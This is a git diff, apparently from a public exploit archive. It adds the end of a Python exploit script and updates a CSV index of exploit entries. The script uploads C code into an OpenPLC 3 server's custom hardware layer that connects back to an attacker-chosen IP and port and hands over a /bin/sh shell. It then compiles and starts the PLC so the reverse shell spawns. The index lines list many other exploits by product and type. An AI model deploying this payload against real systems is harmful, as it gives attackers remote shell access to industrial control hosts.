+    inject_data = "-----------------------------289530314119386812901408558722\r\nContent-Disposition: form-data; name=\"hardware_layer\"\r\n\r\nblank_linux\r\n-----------------------------289530314119386812901408558722\r\nContent-Disposition: form-data; name=\"custom_layer_code\"\r\n\r\n#include \"ladder.h\"\r\n#include <stdio.h>\r\n#include <sys/socket.h>\r\n#include <sys/types.h>\r\n#include <stdlib.h>\r\n#include <unistd.h>\r\n#include <netinet/in.h>\r\n#include <arpa/inet.h>\r\n\r\n\r\n//-----------------------------------------------------------------------------\r\n\r\n//-----------------------------------------------------------------------------\r\nint ignored_bool_inputs[] = {-1};\r\nint ignored_bool_outputs[] = {-1};\r\nint ignored_int_inputs[] = {-1};\r\nint ignored_int_outputs[] = {-1};\r\n\r\n//-----------------------------------------------------------------------------\r\n\r\n//-----------------------------------------------------------------------------\r\nvoid initCustomLayer()\r\n{\r\n   \r\n    \r\n    \r\n}\r\n\r\n\r\nvoid updateCustomIn()\r\n{\r\n\r\n}\r\n\r\n\r\nvoid updateCustomOut()\r\n{\r\n    int port = "+rev_port+";\r\n    struct sockaddr_in revsockaddr;\r\n\r\n    int sockt = socket(AF_INET, SOCK_STREAM, 0);\r\n    revsockaddr.sin_family = AF_INET;       \r\n    revsockaddr.sin_port = htons(port);\r\n    revsockaddr.sin_addr.s_addr = inet_addr(\""+rev_ip+"\");\r\n\r\n    connect(sockt, (struct sockaddr *) &revsockaddr, \r\n    sizeof(revsockaddr));\r\n    dup2(sockt, 0);\r\n    dup2(sockt, 1);\r\n    dup2(sockt, 2);\r\n\r\n    char * const argv[] = {\"/bin/sh\", NULL};\r\n    execve(\"/bin/sh\", argv, NULL);\r\n\r\n    return 0;  \r\n    \r\n}\r\n\r\n\r\n\r\n\r\n\r\n\r\n-----------------------------289530314119386812901408558722--\r\n"
+    inject = x.post(inject_url, headers=inject_headers, cookies=inject_cookies, data=inject_data)
+    time.sleep(3)
+    comp = x.get(compile_program)
+    time.sleep(6)
+    x.get(inject_dash)
+    time.sleep(3)
+    print('[+] Spawning Reverse Shell...')
+    start = x.get(run_plc_server)
+    time.sleep(1)
+    if start.status_code == 200:
+        print('[+] Reverse connection receveid!') 
+        sys.exit(0)
+    else:
+        print('[+] Failed to receive connection :(')
+        sys.exit(0)
+
+auth()
+injection()
+connection()
\ No newline at end of file
diff --git a/files_exploits.csv b/files_exploits.csv
index 0b130fd70..1baf008cc 100644
--- a/files_exploits.csv
+++ b/files_exploits.csv
@@ -6779,6 +6779,7 @@ id,file,description,date,author,type,platform,port
 49730,exploits/hardware/dos/49730.py,"DD-WRT 45723 - UPNP Buffer Overflow (PoC)",2021-03-31,Enesdex,dos,hardware,
 49773,exploits/multiple/dos/49773.py,"glFTPd 2.11a - Remote Denial of Service",2021-04-15,xynmaps,dos,multiple,
 49789,exploits/multiple/dos/49789.py,"Hasura GraphQL 1.3.3 - Denial of Service",2021-04-21,"Dolev Farhi",dos,multiple,
+49807,exploits/php/dos/49807.py,"WordPress Plugin WPGraphQL 1.3.5 - Denial of Service",2021-04-27,"Dolev Farhi",dos,php,
 3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
 4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
 12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
@@ -18444,6 +18445,7 @@ id,file,description,date,author,type,platform,port
 49754,exploits/linux/remote/49754.c,"Linux Kernel 5.4 - 'BleedingTooth' Bluetooth Zero-Click Remote Code Execution",2021-04-08,"Google Security Research",remote,linux,
 49757,exploits/unix/remote/49757.py,"vsftpd 2.3.4 - Backdoor Command Execution",2021-04-12,HerculesRD,remote,unix,
 49782,exploits/hardware/remote/49782.py,"Tenda D151 & D301 - Configuration Download (Unauthenticated)",2021-04-21,BenChaliah,remote,hardware,
+49815,exploits/linux/remote/49815.py,"GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution (2)",2021-04-30,liewehacksie,remote,linux,
 6,exploits/php/webapps/6.php,"WordPress Core 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php,
 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php,
 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php,
@@ -40612,7 +40614,7 @@ id,file,description,date,author,type,platform,port
 42381,exploits/php/webapps/42381.txt,"Friends in War Make or Break 1.7 - SQL Injection",2017-07-26,"Ihsan Sencan",webapps,php,
 42543,exploits/java/webapps/42543.txt,"Automated Logic WebCTRL 6.1 - Path Traversal / Arbitrary File Write",2017-08-22,LiquidWorm,webapps,java,
 42387,exploits/php/webapps/42387.txt,"Joomla! Component CCNewsLetter 2.1.9 - 'sbid' SQL Injection",2017-07-27,"Shahab Shamsi",webapps,php,
-42388,exploits/hardware/webapps/42388.txt,"FortiOS < 5.6.0 - Cross-Site Scripting",2017-07-28,patryk_bogdan,webapps,hardware,
+42388,exploits/hardware/webapps/42388.txt,"Fortinet FortiOS < 5.6.0 - Cross-Site Scripting",2017-07-28,patryk_bogdan,webapps,hardware,
 42401,exploits/jsp/webapps/42401.rb,"Advantech SUSIAccess < 3.0 - Directory Traversal / Information Disclosure (Metasploit)",2017-08-01,"James Fitts",webapps,jsp,
 42402,exploits/jsp/webapps/42402.rb,"Advantech SUSIAccess < 3.0 - 'RecoveryMgmt' File Upload",2017-08-01,"James Fitts",webapps,jsp,
 42403,exploits/php/webapps/42403.txt,"VehicleWorkshop - Authentication Bypass",2017-08-01,"Touhid M.Shaikh",webapps,php,
@@ -42221,7 +42223,7 @@ id,file,description,date,author,type,platform,port
 46163,exploits/windows/webapps/46163.txt,"Portier Vision 4.4.4.2 / 4.4.4.6 - SQL Injection",2019-01-14,"SySS GmbH",webapps,windows,
 46164,exploits/cgi/webapps/46164.txt,"AudioCode 400HD - Command Injection",2019-01-14,Sysdream,webapps,cgi,
 46168,exploits/php/webapps/46168.txt,"ownDMS 4.7 - SQL Injection",2019-01-15,"Ihsan Sencan",webapps,php,80
-46171,exploits/hardware/webapps/46171.py,"FortiGate FortiOS < 6.0.3 - LDAP Credential Disclosure",2019-01-16,"Julio Ureña",webapps,hardware,443
+46171,exploits/hardware/webapps/46171.py,"Fortinet FortiGate FortiOS < 6.0.3 - LDAP Credential Disclosure",2019-01-16,"Julio Ureña",webapps,hardware,443
 46172,exploits/php/webapps/46172.txt,"Roxy Fileman 1.4.5 - Arbitrary File Download",2019-01-16,"Ihsan Sencan",webapps,php,80
 46173,exploits/php/webapps/46173.txt,"doorGets CMS 7.0 - Arbitrary File Download",2019-01-16,"Ihsan Sencan",webapps,php,80
 46174,exploits/php/webapps/46174.txt,"ShoreTel / Mitel Connect ONSITE 19.49.5200.0 - Remote Code Execution",2019-01-16,twosevenzero,webapps,php,80
@@ -42667,8 +42669,8 @@ id,file,description,date,author,type,platform,port
 47283,exploits/php/webapps/47283.txt,"Integria IMS 5.0.86 - Arbitrary File Upload",2019-08-16,Greg.Priest,webapps,php,
 47284,exploits/asp/webapps/47284.txt,"Web Wiz Forums 12.01 - 'PF' SQL Injection",2019-08-16,n1x_,webapps,asp,
 47286,exploits/php/webapps/47286.txt,"Kimai 2 - Persistent Cross-Site Scripting",2019-08-19,osamaalaa,webapps,php,80
-47287,exploits/hardware/webapps/47287.rb,"FortiOS 5.6.3 - 5.6.7 / FortiOS 6.0.0 - 6.0.4 - Credentials Disclosure (Metasploit)",2019-08-19,"Carlos E. Vieira",webapps,hardware,
-47288,exploits/hardware/webapps/47288.py,"FortiOS 5.6.3 - 5.6.7 / FortiOS 6.0.0 - 6.0.4 - Credentials Disclosure",2019-08-19,"Carlos E. Vieira",webapps,hardware,
+47287,exploits/hardware/webapps/47287.rb,"Fortinet FortiOS 5.6.3 - 5.6.7 / FortiOS 6.0.0 - 6.0.4 - Credentials Disclosure (Metasploit)",2019-08-19,"Carlos E. Vieira",webapps,hardware,
+47288,exploits/hardware/webapps/47288.py,"Fortinet FortiOS 5.6.3 - 5.6.7 / FortiOS 6.0.0 - 6.0.4 - Credentials Disclosure",2019-08-19,"Carlos E. Vieira",webapps,hardware,
 47289,exploits/php/webapps/47289.txt,"Neo Billing 3.5 - Persistent Cross-Site Scripting",2019-08-19,n1x_,webapps,php,80
 47293,exploits/linux/webapps/47293.sh,"Webmin 1.920 - Remote Code Execution",2019-08-19,"Fernando A. Lagos B",webapps,linux,
 47294,exploits/php/webapps/47294.txt,"YouPHPTube 7.2 - 'userCreate.json.php' SQL Injection",2019-08-19,"Fabian Mosch",webapps,php,80
@@ -43881,7 +43883,7 @@ id,file,description,date,author,type,platform,port
 49657,exploits/php/webapps/49657.txt,"WoWonder Social Network Platform 3.1 - 'event_id' SQL Injection",2021-03-17,securityforeveryone.com,webapps,php,
 49659,exploits/multiple/webapps/49659.html,"VestaCP 0.9.8 - File Upload CSRF",2021-03-17,"Fady Mohammed Osman",webapps,multiple,
 49662,exploits/multiple/webapps/49662.txt,"VestaCP 0.9.8 - 'v_interface' Add IP Stored XSS",2021-03-18,"numan türle",webapps,multiple,
-49666,exploits/php/webapps/49666.txt,"SEO Panel 4.8.0 - 'order_col' Blind SQL Injection",2021-03-18,"Piyush Patil",webapps,php,
+49666,exploits/php/webapps/49666.txt,"SEO Panel 4.8.0 - 'order_col' Blind SQL Injection (1)",2021-03-18,"Piyush Patil",webapps,php,
 49667,exploits/php/webapps/49667.txt,"Hestia Control Panel 1.3.2 - Arbitrary File Write",2021-03-18,"numan türle",webapps,php,
 49668,exploits/multiple/webapps/49668.txt,"Plone CMS 5.2.3 - 'Title' Stored XSS",2021-03-19,"Piyush Patil",webapps,multiple,
 49669,exploits/php/webapps/49669.txt,"LiveZilla Server 8.0.1.0 - 'Accept-Language' Reflected XSS",2021-03-19,"Clément Cruchet",webapps,php,
@@ -43952,6 +43954,7 @@ id,file,description,date,author,type,platform,port
 49772,exploits/multiple/webapps/49772.py,"htmly 2.8.0 - 'description' Stored Cross-Site Scripting (XSS)",2021-04-15,nu11secur1ty,webapps,multiple,
 49774,exploits/php/webapps/49774.py,"GetSimple CMS My SMTP Contact Plugin 1.1.1 - CSRF to RCE",2021-04-16,boku,webapps,php,
 49775,exploits/hardware/webapps/49775.html,"Multilaser Router RE018 AC1200 - Cross-Site Request Forgery (Enable Remote Access)",2021-04-21,"Rodolfo Mariano",webapps,hardware,
+49802,exploits/multiple/webapps/49802.py,"Hasura GraphQL 1.3.3 - Remote Code Execution",2021-04-26,"Dolev Farhi",webapps,multiple,
 49777,exploits/php/webapps/49777.txt,"Fast PHP Chat 1.3 - 'my_item_search' SQL Injection",2021-04-21,"Fatih Coskun",webapps,php,
 49778,exploits/php/webapps/49778.txt,"WordPress Plugin RSS for Yandex Turbo 1.29 - Stored Cross-Site Scripting (XSS)",2021-04-21,"Himamshu Dilip Kulkarni",webapps,php,
 49779,exploits/php/webapps/49779.txt,"BlackCat CMS 1.3.6 - 'Multiple' Stored Cross-Site Scripting (XSS)",2021-04-21,"Ömer Hasan Durmuş",webapps,php,
@@ -43973,3 +43976,12 @@ id,file,description,date,author,type,platform,port
 49799,exploits/multiple/webapps/49799.py,"DzzOffice 2.02.1 - 'Multiple' Cross-Site Scripting (XSS)",2021-04-23,nu11secur1ty,webapps,multiple,
 49800,exploits/hardware/webapps/49800.html,"Sipwise C5 NGCP CSC - 'Multiple' Stored/Reflected Cross-Site Scripting (XSS)",2021-04-23,LiquidWorm,webapps,hardware,
 49801,exploits/hardware/webapps/49801.html,"Sipwise C5 NGCP CSC - Click2Dial Cross-Site Request Forgery (CSRF)",2021-04-23,LiquidWorm,webapps,hardware,
+49803,exploits/python/webapps/49803.py,"OpenPLC 3 - Remote Code Execution (Authenticated)",2021-04-26,"Fellipe Oliveira",webapps,python,
+49804,exploits/php/webapps/49804.py,"SEO Panel 4.8.0 - 'order_col' Blind SQL Injection (2)",2021-04-26,nu11secur1ty,webapps,php,
+49805,exploits/php/webapps/49805.txt,"Kimai 1.14 - CSV Injection",2021-04-27,"Mohammed Aloraimi",webapps,php,
+49806,exploits/php/webapps/49806.txt,"Montiorr 1.7.6m - File Upload to XSS",2021-04-27,"Ahmad Shakla",webapps,php,
+49808,exploits/php/webapps/49808.txt,"Kirby CMS 3.5.3.1 - 'file' Cross-Site Scripting (XSS)",2021-04-28,"Sreenath Raghunathan",webapps,php,
+49810,exploits/php/webapps/49810.py,"Cacti 1.2.12 - 'filter' SQL Injection / Remote Code Execution",2021-04-29,"Leonardo Paiva",webapps,php,
+49811,exploits/php/webapps/49811.txt,"FOGProject 1.5.9 - File Upload RCE (Authenticated)",2021-04-29,sml,webapps,php,
+49813,exploits/multiple/webapps/49813.py,"NodeBB Plugin Emoji 3.2.1 - Arbitrary File Write",2021-04-29,1F98D,webapps,multiple,
+49814,exploits/php/webapps/49814.txt,"Moodle 3.6.1 - Persistent Cross-Site Scripting (XSS)",2021-04-30,"Fariskhi Vidyan",webapps,php,